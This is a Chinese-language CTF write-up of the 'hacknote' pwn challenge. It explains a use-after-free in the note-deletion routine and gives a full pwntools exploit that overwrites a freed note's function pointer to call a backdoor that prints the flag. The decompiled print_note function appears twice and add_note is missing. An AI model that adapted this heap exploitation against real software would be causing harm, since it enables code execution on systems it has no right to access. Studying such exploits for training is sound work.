[pwn] hacknote (UAF)
题目分析
题目:hacknote
$ checksec hacknote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
IDA分析该程序主要有三个功能:添加节点、删除节点和显示节点
unsigned int print_note()
{
int index; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
index = atoi(&buf);
if ( index < 0 || index >= count )
{
puts("Out of bound!"); // 判断是否出界
_exit(0);
}
if ( notelist[index] )
(*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
return __readgsdword(0x14u) ^ v3;
}
unsigned int del_note()
{
int index; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
index = atoi(&buf); // 获取要删除的节点
if ( index < 0 || index >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[index] )
{
free(*((void **)notelist[index] + 1)); // content指针清空
free(notelist[index]); // 节点清空
puts("Success"); // 释放content和节点之后并没有把节点列表的指针设置为NULL,存在UAF
}
return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
int index; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
index = atoi(&buf);
if ( index < 0 || index >= count )
{
puts("Out of bound!"); // 判断是否出界
_exit(0);
}
if ( notelist[index] )
(*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
return __readgsdword(0x14u) ^ v3;
}
还有一个预留好的后门函数(真贴心)
int magic()
{
return system("cat flag"); // back door func
}
经过审计发现,在删除节点时只是free了两个chunk,但是并没有把节点列表的值设为NULL,这导致我们可以在free后再次使用。
由于节点列表中每个值指向一个size为16的chunk,其中可用区域前4字节作为函数指针,后四字节作为指向content部分的指针,content的大小可以自由控制。于是可以利用fastbin的特性,分两次分别申请16&24 16&16的chunk,再从后往前free掉。这时候如果再重新申请16&16的chunk,之前申请的第三个chunk,也就是记录了函数指针的chunk在此次申请中作为content chunk,可以自由控制。只要往里面写入backdoor函数的地址,再执行print函数(UAF)显示index 1的内容,就可以get flag了。
完整exp
#!/usr/bin/python3
from pwn import *
import re
p=process("hacknote")
elf=ELF("hacknote")
backdoor=elf.symbols[b"magic"]
print("Backdoor addr:",backdoor)
def add(size:int,content):
p.send(b"1")
p.sendafter(b"Note size :",str(size).encode())
p.sendafter(b"Content :",content)
print(p.recv().decode())
def remove(index):
p.send(b"2")
p.sendafter(b"Index :",str(index).encode())
print(p.recv().decode())
def show(index):
p.send(b"3")
p.sendafter(b"Index :",str(index).encode())
print(re.findall(r"flag{[a-z0-9A-Z_]+}$",p.recv().decode()))
print(p.recv().decode())
add(16,b"a"*16)
add(8,b"b"*8)
remove(1)
remove(0)
add(8,p32(backdoor)+b"\x00"*4)
show(1)
#p.interactive()